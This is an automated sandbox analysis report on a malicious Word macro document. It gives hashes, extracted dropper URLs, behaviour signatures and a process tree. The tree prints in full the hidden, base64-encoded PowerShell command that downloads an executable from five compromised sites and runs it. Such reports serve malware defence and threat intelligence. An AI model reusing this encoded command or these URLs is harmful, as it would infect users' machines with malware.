Analysis

  • max time kernel
    101s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/04/2025, 13:48

General

  • Target

    virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc

  • Size

    172KB

  • MD5

    6ad036ba93c94d6976e2d93c7a3aec6f

  • SHA1

    cb098f7a0492454a31f3819a1b7ec143c0c507b6

  • SHA256

    4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da

  • SHA512

    525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00

  • SSDEEP

    3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/

exe.dropper

https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/

exe.dropper

http://homemyland.net/tmp/wUHdeBS/

exe.dropper

https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/

exe.dropper

http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4404
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2880

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A4A8F6EE.wmf

      Filesize

      444B

      MD5

      f3495abe4ed2113fee2ab49024d0243f

      SHA1

      4511407e0b99f5c75ee74f48781e2d6d3a3d3ee6

      SHA256

      d0752f706c860fca2ef2f5bf95cd11c9f84ae00f19ce1ccfbcb3166509d4c591

      SHA512

      bdc36abf6e1c1764a9119e92c6fc11d5150bf7a17497ddbd07f0eb7436900641b0b6702b2797583c9ffc73da96fef3a6c8c1a452d5a22a522ea2c57c8b9699d2

    • C:\Users\Admin\AppData\Local\Temp\TCDC12E.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ml44y14v.mws.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

      Filesize

      3KB

      MD5

      42da8124ff7f89eae058be3545abb925

      SHA1

      13ecacd1b82c776370a8dbb1822f8170c938ceb3

      SHA256

      3d62270d24e1f3fb4fb4a6801c12a56536bae476c78d9a2799c4c1ab15e5ac63

      SHA512

      2a602ff67fd853d5a4913dd02096c31a8c5adb4fda6d3f4eddb666140c6522c93d991ab61ad1dedfc3b323e4845f80dd41cf091d8c677cd378d08d81ffe4c7fa

    • memory/2880-53-0x0000021376C40000-0x0000021376C62000-memory.dmp

      Filesize

      136KB

    • memory/4404-19-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-16-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-4-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-9-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-11-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-10-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-8-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-12-0x00007FFB436F0000-0x00007FFB43700000-memory.dmp

      Filesize

      64KB

    • memory/4404-15-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-17-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-20-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-21-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-22-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-1-0x00007FFB85F6D000-0x00007FFB85F6E000-memory.dmp

      Filesize

      4KB

    • memory/4404-18-0x00007FFB436F0000-0x00007FFB43700000-memory.dmp

      Filesize

      64KB

    • memory/4404-6-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-14-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-13-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-7-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-5-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-2-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-67-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-68-0x00007FFB85F6D000-0x00007FFB85F6E000-memory.dmp

      Filesize

      4KB

    • memory/4404-69-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-3-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-75-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB

    • memory/4404-0-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-228-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-231-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-230-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-229-0x00007FFB45F50000-0x00007FFB45F60000-memory.dmp

      Filesize

      64KB

    • memory/4404-232-0x00007FFB85ED0000-0x00007FFB860C5000-memory.dmp

      Filesize

      2.0MB